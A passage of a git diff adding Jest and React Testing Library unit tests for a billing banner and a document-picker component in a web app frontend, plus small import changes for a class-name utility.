+  describe('Billing Tip Banner', () => {
+    it('should show billing tip when enableBilling is true and plan is sandbox', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Assert
+      expect(screen.getByText('custom.upgradeTip.title')).toBeInTheDocument()
+      expect(screen.getByText('custom.upgradeTip.des')).toBeInTheDocument()
+      expect(screen.getByText('billing.upgradeBtn.encourageShort')).toBeInTheDocument()
+    })
+
+    it('should not show billing tip when enableBilling is false', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: false,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Assert
+      expect(screen.queryByText('custom.upgradeTip.title')).not.toBeInTheDocument()
+      expect(screen.queryByText('custom.upgradeTip.des')).not.toBeInTheDocument()
+    })
+
+    it('should not show billing tip when plan is professional', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.professional },
+      })
+
+      // Assert
+      expect(screen.queryByText('custom.upgradeTip.title')).not.toBeInTheDocument()
+      expect(screen.queryByText('custom.upgradeTip.des')).not.toBeInTheDocument()
+    })
+
+    it('should not show billing tip when plan is team', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.team },
+      })
+
+      // Assert
+      expect(screen.queryByText('custom.upgradeTip.title')).not.toBeInTheDocument()
+      expect(screen.queryByText('custom.upgradeTip.des')).not.toBeInTheDocument()
+    })
+
+    it('should have correct gradient styling for billing tip banner', () => {
+      // Arrange & Act
+      const { container } = renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Assert
+      const banner = container.querySelector('.bg-gradient-to-r')
+      expect(banner).toBeInTheDocument()
+      expect(banner).toHaveClass('from-components-input-border-active-prompt-1')
+      expect(banner).toHaveClass('to-components-input-border-active-prompt-2')
+      expect(banner).toHaveClass('p-4')
+      expect(banner).toHaveClass('pl-6')
+      expect(banner).toHaveClass('shadow-lg')
+    })
+  })
+
+  // Conditional Rendering - Contact Sales
+  describe('Contact Sales Section', () => {
+    it('should show contact section when enableBilling is true and plan is professional', () => {
+      // Arrange & Act
+      const { container } = renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.professional },
+      })
+
+      // Assert - Check that contact section exists with all parts
+      const contactSection = container.querySelector('.absolute.bottom-0')
+      expect(contactSection).toBeInTheDocument()
+      expect(contactSection).toHaveTextContent('custom.customize.prefix')
+      expect(screen.getByText('custom.customize.contactUs')).toBeInTheDocument()
+      expect(contactSection).toHaveTextContent('custom.customize.suffix')
+    })
+
+    it('should show contact section when enableBilling is true and plan is team', () => {
+      // Arrange & Act
+      const { container } = renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.team },
+      })
+
+      // Assert - Check that contact section exists with all parts
+      const contactSection = container.querySelector('.absolute.bottom-0')
+      expect(contactSection).toBeInTheDocument()
+      expect(contactSection).toHaveTextContent('custom.customize.prefix')
+      expect(screen.getByText('custom.customize.contactUs')).toBeInTheDocument()
+      expect(contactSection).toHaveTextContent('custom.customize.suffix')
+    })
+
+    it('should not show contact section when enableBilling is false', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: false,
+        plan: { type: Plan.professional },
+      })
+
+      // Assert
+      expect(screen.queryByText('custom.customize.prefix')).not.toBeInTheDocument()
+      expect(screen.queryByText('custom.customize.contactUs')).not.toBeInTheDocument()
+    })
+
+    it('should not show contact section when plan is sandbox', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Assert
+      expect(screen.queryByText('custom.customize.prefix')).not.toBeInTheDocument()
+      expect(screen.queryByText('custom.customize.contactUs')).not.toBeInTheDocument()
+    })
+
+    it('should render contact link with correct URL', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.professional },
+      })
+
+      // Assert
+      const link = screen.getByText('custom.customize.contactUs').closest('a')
+      expect(link).toHaveAttribute('href', contactSalesUrl)
+      expect(link).toHaveAttribute('target', '_blank')
+      expect(link).toHaveAttribute('rel', 'noopener noreferrer')
+    })
+
+    it('should have correct positioning for contact section', () => {
+      // Arrange & Act
+      const { container } = renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.professional },
+      })
+
+      // Assert
+      const contactSection = container.querySelector('.absolute.bottom-0')
+      expect(contactSection).toBeInTheDocument()
+      expect(contactSection).toHaveClass('h-[50px]')
+      expect(contactSection).toHaveClass('text-xs')
+      expect(contactSection).toHaveClass('leading-[50px]')
+    })
+  })
+
+  // User Interactions
+  describe('User Interactions', () => {
+    it('should call setShowPricingModal when upgrade button is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Act
+      const upgradeButton = screen.getByText('billing.upgradeBtn.encourageShort')
+      await user.click(upgradeButton)
+
+      // Assert
+      expect(mockSetShowPricingModal).toHaveBeenCalledTimes(1)
+    })
+
+    it('should call setShowPricingModal without arguments', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Act
+      const upgradeButton = screen.getByText('billing.upgradeBtn.encourageShort')
+      await user.click(upgradeButton)
+
+      // Assert
+      expect(mockSetShowPricingModal).toHaveBeenCalledWith()
+    })
+
+    it('should handle multiple clicks on upgrade button', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Act
+      const upgradeButton = screen.getByText('billing.upgradeBtn.encourageShort')
+      await user.click(upgradeButton)
+      await user.click(upgradeButton)
+      await user.click(upgradeButton)
+
+      // Assert
+      expect(mockSetShowPricingModal).toHaveBeenCalledTimes(3)
+    })
+
+    it('should have correct button styling for upgrade button', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Assert
+      const upgradeButton = screen.getByText('billing.upgradeBtn.encourageShort')
+      expect(upgradeButton).toHaveClass('cursor-pointer')
+      expect(upgradeButton).toHaveClass('bg-white')
+      expect(upgradeButton).toHaveClass('text-text-accent')
+      expect(upgradeButton).toHaveClass('rounded-3xl')
+    })
+  })
+
+  // Edge Cases (REQUIRED)
+  describe('Edge Cases', () => {
+    it('should handle undefined plan type gracefully', () => {
+      // Arrange & Act
+      expect(() => {
+        renderWithContext({
+          enableBilling: true,
+          plan: { type: undefined },
+        })
+      }).not.toThrow()
+
+      // Assert
+      expect(screen.getByTestId('custom-web-app-brand')).toBeInTheDocument()
+    })
+
+    it('should handle plan without type property', () => {
+      // Arrange & Act
+      expect(() => {
+        renderWithContext({
+          enableBilling: true,
+          plan: { type: null },
+        })
+      }).not.toThrow()
+
+      // Assert
+      expect(screen.getByTestId('custom-web-app-brand')).toBeInTheDocument()
+    })
+
+    it('should not show any banners when both conditions are false', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: false,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Assert
+      expect(screen.queryByText('custom.upgradeTip.title')).not.toBeInTheDocument()
+      expect(screen.queryByText('custom.customize.prefix')).not.toBeInTheDocument()
+    })
+
+    it('should handle enableBilling undefined', () => {
+      // Arrange & Act
+      expect(() => {
+        renderWithContext({
+          enableBilling: undefined,
+          plan: { type: Plan.sandbox },
+        })
+      }).not.toThrow()
+
+      // Assert
+      expect(screen.queryByText('custom.upgradeTip.title')).not.toBeInTheDocument()
+    })
+
+    it('should show only billing tip for sandbox plan, not contact section', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Assert
+      expect(screen.getByText('custom.upgradeTip.title')).toBeInTheDocument()
+      expect(screen.queryByText('custom.customize.contactUs')).not.toBeInTheDocument()
+    })
+
+    it('should show only contact section for professional plan, not billing tip', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.professional },
+      })
+
+      // Assert
+      expect(screen.queryByText('custom.upgradeTip.title')).not.toBeInTheDocument()
+      expect(screen.getByText('custom.customize.contactUs')).toBeInTheDocument()
+    })
+
+    it('should show only contact section for team plan, not billing tip', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.team },
+      })
+
+      // Assert
+      expect(screen.queryByText('custom.upgradeTip.title')).not.toBeInTheDocument()
+      expect(screen.getByText('custom.customize.contactUs')).toBeInTheDocument()
+    })
+
+    it('should handle empty plan object', () => {
+      // Arrange & Act
+      expect(() => {
+        renderWithContext({
+          enableBilling: true,
+          plan: {},
+        })
+      }).not.toThrow()
+
+      // Assert
+      expect(screen.getByTestId('custom-web-app-brand')).toBeInTheDocument()
+    })
+  })
+
+  // Accessibility Tests
+  describe('Accessibility', () => {
+    it('should have clickable upgrade button', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Assert
+      const upgradeButton = screen.getByText('billing.upgradeBtn.encourageShort')
+      expect(upgradeButton).toBeInTheDocument()
+      expect(upgradeButton).toHaveClass('cursor-pointer')
+    })
+
+    it('should have proper external link attributes on contact link', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.professional },
+      })
+
+      // Assert
+      const link = screen.getByText('custom.customize.contactUs').closest('a')
+      expect(link).toHaveAttribute('rel', 'noopener noreferrer')
+      expect(link).toHaveAttribute('target', '_blank')
+    })
+
+    it('should have proper text hierarchy in billing tip', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Assert
+      const title = screen.getByText('custom.upgradeTip.title')
+      const description = screen.getByText('custom.upgradeTip.des')
+
+      expect(title).toHaveClass('title-xl-semi-bold')
+      expect(description).toHaveClass('system-sm-regular')
+    })
+
+    it('should use semantic color classes', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Assert - Check that the billing tip has text content (which implies semantic colors)
+      expect(screen.getByText('custom.upgradeTip.title')).toBeInTheDocument()
+    })
+  })
+
+  // Integration Tests
+  describe('Integration', () => {
+    it('should render both CustomWebAppBrand and billing tip together', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Assert
+      expect(screen.getByTestId('custom-web-app-brand')).toBeInTheDocument()
+      expect(screen.getByText('custom.upgradeTip.title')).toBeInTheDocument()
+    })
+
+    it('should render both CustomWebAppBrand and contact section together', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.professional },
+      })
+
+      // Assert
+      expect(screen.getByTestId('custom-web-app-brand')).toBeInTheDocument()
+      expect(screen.getByText('custom.customize.contactUs')).toBeInTheDocument()
+    })
+
+    it('should render only CustomWebAppBrand when no billing conditions met', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: false,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Assert
+      expect(screen.getByTestId('custom-web-app-brand')).toBeInTheDocument()
+      expect(screen.queryByText('custom.upgradeTip.title')).not.toBeInTheDocument()
+      expect(screen.queryByText('custom.customize.contactUs')).not.toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/custom/custom-web-app-brand/index.tsx b/web/app/components/custom/custom-web-app-brand/index.tsx
index fee0bf75f7..e919144b1e 100644
--- a/web/app/components/custom/custom-web-app-brand/index.tsx
+++ b/web/app/components/custom/custom-web-app-brand/index.tsx
@@ -23,7 +23,7 @@ import {
   updateCurrentWorkspace,
 } from '@/service/common'
 import { useAppContext } from '@/context/app-context'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useGlobalPublicStore } from '@/context/global-public-context'
 
 const ALLOW_FILE_EXTENSIONS = ['svg', 'png']
diff --git a/web/app/components/datasets/common/credential-icon.tsx b/web/app/components/datasets/common/credential-icon.tsx
index d4e6fd69ac..041df770a8 100644
--- a/web/app/components/datasets/common/credential-icon.tsx
+++ b/web/app/components/datasets/common/credential-icon.tsx
@@ -1,4 +1,4 @@
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import React, { useCallback, useMemo, useState } from 'react'
 
 type CredentialIconProps = {
diff --git a/web/app/components/datasets/common/document-picker/document-list.tsx b/web/app/components/datasets/common/document-picker/document-list.tsx
index 20ec949bbd..2ab6334383 100644
--- a/web/app/components/datasets/common/document-picker/document-list.tsx
+++ b/web/app/components/datasets/common/document-picker/document-list.tsx
@@ -2,7 +2,7 @@
 import type { FC } from 'react'
 import React, { useCallback } from 'react'
 import FileIcon from '../document-file-icon'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { DocumentItem } from '@/models/datasets'
 
 type Props = {
diff --git a/web/app/components/datasets/common/document-picker/index.spec.tsx b/web/app/components/datasets/common/document-picker/index.spec.tsx
new file mode 100644
index 0000000000..0ce4d8afa5
--- /dev/null
+++ b/web/app/components/datasets/common/document-picker/index.spec.tsx
@@ -0,0 +1,1094 @@
+import React from 'react'
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
+import { fireEvent, render, screen } from '@testing-library/react'
+import type { ParentMode, SimpleDocumentDetail } from '@/models/datasets'
+import { ChunkingMode, DataSourceType } from '@/models/datasets'
+import DocumentPicker from './index'
+
+// Mock portal-to-follow-elem - always render content for testing
+jest.mock('@/app/components/base/portal-to-follow-elem', () => ({
+  PortalToFollowElem: ({ children, open }: {
+    children: React.ReactNode
+    open?: boolean
+  }) => (
+    <div data-testid="portal-elem" data-open={String(open || false)}>
+      {children}
+    </div>
+  ),
+  PortalToFollowElemTrigger: ({ children, onClick }: {
+    children: React.ReactNode
+    onClick?: () => void
+  }) => (
+    <div data-testid="portal-trigger" onClick={onClick}>
+      {children}
+    </div>
+  ),
+  // Always render content to allow testing document selection
+  PortalToFollowElemContent: ({ children, className }: {
+    children: React.ReactNode
+    className?: string
+  }) => (
+    <div data-testid="portal-content" className={className}>
+      {children}
+    </div>
+  ),
+}))
+
+// Mock useDocumentList hook with controllable return value
+let mockDocumentListData: { data: SimpleDocumentDetail[] } | undefined
+let mockDocumentListLoading = false
+
+jest.mock('@/service/knowledge/use-document', () => ({
+  useDocumentList: jest.fn(() => ({
+    data: mockDocumentListLoading ? undefined : mockDocumentListData,
+    isLoading: mockDocumentListLoading,
+  })),
+}))
+
+// Mock icons - mock all remixicon components used in the component tree
+jest.mock('@remixicon/react', () => ({
+  RiArrowDownSLine: () => <span data-testid="arrow-icon">↓</span>,
+  RiFile3Fill: () => <span data-testid="file-icon">📄</span>,
+  RiFileCodeFill: () => <span data-testid="file-code-icon">📄</span>,
+  RiFileExcelFill: () => <span data-testid="file-excel-icon">📄</span>,
+  RiFileGifFill: () => <span data-testid="file-gif-icon">📄</span>,
+  RiFileImageFill: () => <span data-testid="file-image-icon">📄</span>,
+  RiFileMusicFill: () => <span data-testid="file-music-icon">📄</span>,
+  RiFilePdf2Fill: () => <span data-testid="file-pdf-icon">📄</span>,
+  RiFilePpt2Fill: () => <span data-testid="file-ppt-icon">📄</span>,
+  RiFileTextFill: () => <span data-testid="file-text-icon">📄</span>,
+  RiFileVideoFill: () => <span data-testid="file-video-icon">📄</span>,
+  RiFileWordFill: () => <span data-testid="file-word-icon">📄</span>,
+  RiMarkdownFill: () => <span data-testid="file-markdown-icon">📄</span>,
+  RiSearchLine: () => <span data-testid="search-icon">🔍</span>,
+  RiCloseLine: () => <span data-testid="close-icon">✕</span>,
+}))
+
+jest.mock('@/app/components/base/icons/src/vender/knowledge', () => ({
+  GeneralChunk: () => <span data-testid="general-chunk-icon">General</span>,
+  ParentChildChunk: () => <span data-testid="parent-child-chunk-icon">ParentChild</span>,
+}))
+
+// Factory function to create mock SimpleDocumentDetail
+const createMockDocument = (overrides: Partial<SimpleDocumentDetail> = {}): SimpleDocumentDetail => ({
+  id: `doc-${Math.random().toString(36).substr(2, 9)}`,
+  batch: 'batch-1',
+  position: 1,
+  dataset_id: 'dataset-1',
+  data_source_type: DataSourceType.FILE,
+  data_source_info: {
+    upload_file: {
+      id: 'file-1',
+      name: 'test-file.txt',
+      size: 1024,
+      extension: 'txt',
+      mime_type: 'text/plain',
+      created_by: 'user-1',
+      created_at: Date.now(),
+    },
+    // Required fields for LegacyDataSourceInfo
+    job_id: 'job-1',
+    url: '',
+  },
+  dataset_process_rule_id: 'rule-1',
+  name: 'Test Document',
+  created_from: 'web',
+  created_by: 'user-1',
+  created_at: Date.now(),
+  indexing_status: 'completed',
+  display_status: 'enabled',
+  doc_form: ChunkingMode.text,
+  doc_language: 'en',
+  enabled: true,
+  word_count: 1000,
+  archived: false,
+  updated_at: Date.now(),
+  hit_count: 0,
+  data_source_detail_dict: {
+    upload_file: {
+      name: 'test-file.txt',
+      extension: 'txt',
+    },
+  },
+  ...overrides,
+})
+
+// Factory function to create multiple documents
+const createMockDocumentList = (count: number): SimpleDocumentDetail[] => {
+  return Array.from({ length: count }, (_, index) =>
+    createMockDocument({
+      id: `doc-${index + 1}`,
+      name: `Document ${index + 1}`,
+      data_source_detail_dict: {
+        upload_file: {
+          name: `document-${index + 1}.pdf`,
+          extension: 'pdf',
+        },
+      },
+    }),
+  )
+}
+
+// Factory function to create props
+const createDefaultProps = (overrides: Partial<React.ComponentProps<typeof DocumentPicker>> = {}) => ({
+  datasetId: 'dataset-1',
+  value: {
+    name: 'Test Document',
+    extension: 'txt',
+    chunkingMode: ChunkingMode.text,
+    parentMode: undefined as ParentMode | undefined,
+  },
+  onChange: jest.fn(),
+  ...overrides,
+})
+
+// Create a new QueryClient for each test
+const createTestQueryClient = () =>
+  new QueryClient({
+    defaultOptions: {
+      queries: {
+        retry: false,
+        gcTime: 0,
+        staleTime: 0,
+      },
+    },
+  })
+
+// Helper to render component with providers
+const renderComponent = (props: Partial<React.ComponentProps<typeof DocumentPicker>> = {}) => {
+  const queryClient = createTestQueryClient()
+  const defaultProps = createDefaultProps(props)
+
+  return {
+    ...render(
+      <QueryClientProvider client={queryClient}>
+        <DocumentPicker {...defaultProps} />
+      </QueryClientProvider>,
+    ),
+    queryClient,
+    props: defaultProps,
+  }
+}
+
+describe('DocumentPicker', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    // Reset mock state
+    mockDocumentListData = { data: createMockDocumentList(5) }
+    mockDocumentListLoading = false
+  })
+
+  // Tests for basic rendering
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      renderComponent()
+
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should render document name when provided', () => {
+      renderComponent({
+        value: {
+          name: 'My Document',
+          extension: 'pdf',
+          chunkingMode: ChunkingMode.text,
+        },
+      })
+
+      expect(screen.getByText('My Document')).toBeInTheDocument()
+    })
+
+    it('should render placeholder when name is not provided', () => {
+      renderComponent({
+        value: {
+          name: undefined,
+          extension: 'pdf',
+          chunkingMode: ChunkingMode.text,
+        },
+      })
+
+      expect(screen.getByText('--')).toBeInTheDocument()
+    })
+
+    it('should render arrow icon', () => {
+      renderComponent()
+
+      expect(screen.getByTestId('arrow-icon')).toBeInTheDocument()
+    })
+
+    it('should render GeneralChunk icon for text mode', () => {
+      renderComponent({
+        value: {
+          name: 'Test',
+          extension: 'txt',
+          chunkingMode: ChunkingMode.text,
+        },
+      })
+
+      expect(screen.getByTestId('general-chunk-icon')).toBeInTheDocument()
+    })
+
+    it('should render ParentChildChunk icon for parentChild mode', () => {
+      renderComponent({
+        value: {
+          name: 'Test',
+          extension: 'txt',
+          chunkingMode: ChunkingMode.parentChild,
+        },
+      })
+
+      expect(screen.getByTestId('parent-child-chunk-icon')).toBeInTheDocument()
+    })
+
+    it('should render GeneralChunk icon for QA mode', () => {
+      renderComponent({
+        value: {
+          name: 'Test',
+          extension: 'txt',
+          chunkingMode: ChunkingMode.qa,
+        },
+      })
+
+      expect(screen.getByTestId('general-chunk-icon')).toBeInTheDocument()
+    })
+
+    it('should render general mode label', () => {
+      renderComponent({
+        value: {
+          name: 'Test',
+          extension: 'txt',
+          chunkingMode: ChunkingMode.text,
+        },
+      })
+
+      expect(screen.getByText('dataset.chunkingMode.general')).toBeInTheDocument()
+    })
+
+    it('should render QA mode label', () => {
+      renderComponent({
+        value: {
+          name: 'Test',
+          extension: 'txt',
+          chunkingMode: ChunkingMode.qa,
+        },
+      })
+
+      expect(screen.getByText('dataset.chunkingMode.qa')).toBeInTheDocument()
+    })
+
+    it('should render parentChild mode label with paragraph parent mode', () => {
+      renderComponent({
+        value: {
+          name: 'Test',
+          extension: 'txt',
+          chunkingMode: ChunkingMode.parentChild,
+          parentMode: 'paragraph',
+        },
+      })
+
+      expect(screen.getByText(/dataset.chunkingMode.parentChild/)).toBeInTheDocument()
+      expect(screen.getByText(/dataset.parentMode.paragraph/)).toBeInTheDocument()
+    })
+
+    it('should render parentChild mode label with full-doc parent mode', () => {
+      renderComponent({
+        value: {
+          name: 'Test',
+          extension: 'txt',
+          chunkingMode: ChunkingMode.parentChild,
+          parentMode: 'full-doc',
+        },
+      })
+
+      expect(screen.getByText(/dataset.chunkingMode.parentChild/)).toBeInTheDocument()
+      expect(screen.getByText(/dataset.parentMode.fullDoc/)).toBeInTheDocument()
+    })
+
+    it('should render placeholder for parentMode when not provided', () => {
+      renderComponent({
+        value: {
+          name: 'Test',
+          extension: 'txt',
+          chunkingMode: ChunkingMode.parentChild,
+          parentMode: undefined,
+        },
+      })
+
+      // parentModeLabel should be '--' when parentMode is not provided
+      expect(screen.getByText(/--/)).toBeInTheDocument()
+    })
+  })
+
+  // Tests for props handling
+  describe('Props', () => {
+    it('should accept required props', () => {
+      const onChange = jest.fn()
+      renderComponent({
+        datasetId: 'test-dataset',
+        value: {
+          name: 'Test',
+          extension: 'txt',
+          chunkingMode: ChunkingMode.text,
+        },
+        onChange,
+      })
+
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should handle value with all fields', () => {
+      renderComponent({
+        value: {
+          name: 'Full Document',
+          extension: 'docx',
+          chunkingMode: ChunkingMode.parentChild,
+          parentMode: 'paragraph',
+        },
+      })
+
+      expect(screen.getByText('Full Document')).toBeInTheDocument()
+    })
+
+    it('should handle value with minimal fields', () => {
+      renderComponent({
+        value: {
+          name: undefined,
+          extension: undefined,
+          chunkingMode: undefined,
+          parentMode: undefined,
+        },
+      })
+
+      expect(screen.getByText('--')).toBeInTheDocument()
+    })
+
+    it('should pass datasetId to useDocumentList hook', () => {
+      const { useDocumentList } = jest.requireMock('@/service/knowledge/use-document')
+
+      renderComponent({ datasetId: 'custom-dataset-id' })
+
+      expect(useDocumentList).toHaveBeenCalledWith(
+        expect.objectContaining({
+          datasetId: 'custom-dataset-id',
+        }),
+      )
+    })
+  })
+
+  // Tests for state management and updates
+  describe('State Management', () => {
+    it('should initialize with popup closed', () => {
+      renderComponent()
+
+      expect(screen.getByTestId('portal-elem')).toHaveAttribute('data-open', 'false')
+    })
+
+    it('should open popup when trigger is clicked', () => {
+      renderComponent()
+
+      const trigger = screen.getByTestId('portal-trigger')
+      fireEvent.click(trigger)
+
+      // Verify click handler is called
+      expect(trigger).toBeInTheDocument()
+    })
+
+    it('should maintain search query state', async () => {
+      renderComponent()
+
+      const { useDocumentList } = jest.requireMock('@/service/knowledge/use-document')
+
+      // Initial call should have empty keyword
+      expect(useDocumentList).toHaveBeenCalledWith(
+        expect.objectContaining({
+          query: expect.objectContaining({
+            keyword: '',
+          }),
+        }),
+      )
+    })
+
+    it('should update query when search input changes', () => {
+      renderComponent()
+
+      // Verify the component uses useDocumentList with query parameter
+      const { useDocumentList } = jest.requireMock('@/service/knowledge/use-document')
+      expect(useDocumentList).toHaveBeenCalledWith(
+        expect.objectContaining({
+          query: expect.objectContaining({
+            keyword: '',
+          }),
+        }),
+      )
+    })
+  })
+
+  // Tests for callback stability and memoization
+  describe('Callback Stability', () => {
+    it('should maintain stable onChange callback when value changes', () => {
+      const onChange = jest.fn()
+      const value1 = {
+        name: 'Doc 1',
+        extension: 'txt',
+        chunkingMode: ChunkingMode.text,
+      }
+      const value2 = {
+        name: 'Doc 2',
+        extension: 'pdf',
+        chunkingMode: ChunkingMode.text,
+      }
+
+      const queryClient = createTestQueryClient()
+      const { rerender } = render(
+        <QueryClientProvider client={queryClient}>
+          <DocumentPicker
+            datasetId="dataset-1"
+            value={value1}
+            onChange={onChange}
+          />
+        </QueryClientProvider>,
+      )
+
+      rerender(
+        <QueryClientProvider client={queryClient}>
+          <DocumentPicker
+            datasetId="dataset-1"
+            value={value2}
+            onChange={onChange}
+          />
+        </QueryClientProvider>,
+      )
+
+      // Component should still render correctly after rerender
+      expect(screen.getByText('Doc 2')).toBeInTheDocument()
+    })
+
+    it('should use updated onChange callback after rerender', () => {
+      const onChange1 = jest.fn()
+      const onChange2 = jest.fn()
+      const value = {
+        name: 'Test Doc',
+        extension: 'txt',
+        chunkingMode: ChunkingMode.text,
+      }
+
+      const queryClient = createTestQueryClient()
+      const { rerender } = render(
+        <QueryClientProvider client={queryClient}>
+          <DocumentPicker
+            datasetId="dataset-1"
+            value={value}
+            onChange={onChange1}
+          />
+        </QueryClientProvider>,
+      )
+
+      rerender(
+        <QueryClientProvider client={queryClient}>
+          <DocumentPicker
+            datasetId="dataset-1"
+            value={value}
+            onChange={onChange2}
+          />
+        </QueryClientProvider>,
+      )
+
+      // The component should use the new callback
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should memoize handleChange callback with useCallback', () => {
+      // The handleChange callback is created with useCallback and depends on
+      // documentsList, onChange, and setOpen
+      const onChange = jest.fn()
+      renderComponent({ onChange })
+
+      // Verify component renders correctly, callback memoization is internal
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for memoization logic and dependencies
+  describe('Memoization Logic', () => {
+    it('should be wrapped with React.memo', () => {
+      // React.memo components have a $$typeof property
+      expect((DocumentPicker as any).$$typeof).toBeDefined()
+    })
+
+    it('should compute parentModeLabel correctly with useMemo', () => {
+      // Test paragraph mode
+      renderComponent({
+        value: {
+          name: 'Test',
+          extension: 'txt',
+          chunkingMode: ChunkingMode.parentChild,
+          parentMode: 'paragraph',
+        },
+      })
+
+      expect(screen.getByText(/dataset.parentMode.paragraph/)).toBeInTheDocument()
+    })
+
+    it('should update parentModeLabel when parentMode changes', () => {
+      // Test full-doc mode
+      renderComponent({
+        value: {
+          name: 'Test',
+          extension: 'txt',
+          chunkingMode: ChunkingMode.parentChild,
+          parentMode: 'full-doc',
+        },
+      })
+
+      expect(screen.getByText(/dataset.parentMode.fullDoc/)).toBeInTheDocument()
+    })
+
+    it('should not re-render when props are the same', () => {
+      const onChange = jest.fn()
+      const value = {
+        name: 'Stable Doc',
+        extension: 'txt',
+        chunkingMode: ChunkingMode.text,
+      }
+
+      const queryClient = createTestQueryClient()
+      const { rerender } = render(
+        <QueryClientProvider client={queryClient}>
+          <DocumentPicker
+            datasetId="dataset-1"
+            value={value}
+            onChange={onChange}
+          />
+        </QueryClientProvider>,
+      )
+
+      // Rerender with same props reference
+      rerender(
+        <QueryClientProvider client={queryClient}>
+          <DocumentPicker
+            datasetId="dataset-1"
+            value={value}
+            onChange={onChange}
+          />
+        </QueryClientProvider>,
+      )
+
+      expect(screen.getByText('Stable Doc')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for user interactions and event handlers
+  describe('User Interactions', () => {
+    it('should toggle popup when trigger is clicked', () => {
+      renderComponent()
+
+      const trigger = screen.getByTestId('portal-trigger')
+      fireEvent.click(trigger)
+
+      // Trigger click should be handled
+      expect(trigger).toBeInTheDocument()
+    })
+
+    it('should handle document selection when popup is open', () => {
+      // Test the handleChange callback logic
+      const onChange = jest.fn()
+      const mockDocs = createMockDocumentList(3)
+      mockDocumentListData = { data: mockDocs }
+
+      renderComponent({ onChange })
+
+      // The handleChange callback should find the document and call onChange
+      // We can verify this by checking that useDocumentList was called
+      const { useDocumentList } = jest.requireMock('@/service/knowledge/use-document')
+      expect(useDocumentList).toHaveBeenCalled()
+    })
+
+    it('should handle search input change', () => {
+      renderComponent()
+
+      // The search input is only visible when popup is open
+      // We verify that the component initializes with empty query
+      const { useDocumentList } = jest.requireMock('@/service/knowledge/use-document')
+      expect(useDocumentList).toHaveBeenCalledWith(
+        expect.objectContaining({
+          query: expect.objectContaining({
+            keyword: '',
+          }),
+        }),
+      )
+    })
+
+    it('should initialize with default query parameters', () => {
+      renderComponent()
+
+      const { useDocumentList } = jest.requireMock('@/service/knowledge/use-document')
+      expect(useDocumentList).toHaveBeenCalledWith(
+        expect.objectContaining({
+          query: {
+            keyword: '',
+            page: 1,
+            limit: 20,
+          },
+        }),
+      )
+    })
+  })
+
+  // Tests for API calls
+  describe('API Calls', () => {
+    it('should call useDocumentList with correct parameters', () => {
+      const { useDocumentList } = jest.requireMock('@/service/knowledge/use-document')
+
+      renderComponent({ datasetId: 'test-dataset-123' })
+
+      expect(useDocumentList).toHaveBeenCalledWith({
+        datasetId: 'test-dataset-123',
+        query: {
+          keyword: '',
+          page: 1,
+          limit: 20,
+        },
+      })
+    })
+
+    it('should handle loading state', () => {
+      mockDocumentListLoading = true
+      mockDocumentListData = undefined
+
+      renderComponent()
+
+      // When loading, component should still render without crashing
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should fetch documents on mount', () => {
+      mockDocumentListLoading = false
+      mockDocumentListData = { data: createMockDocumentList(3) }
+
+      renderComponent()
+
+      // Verify the hook was called
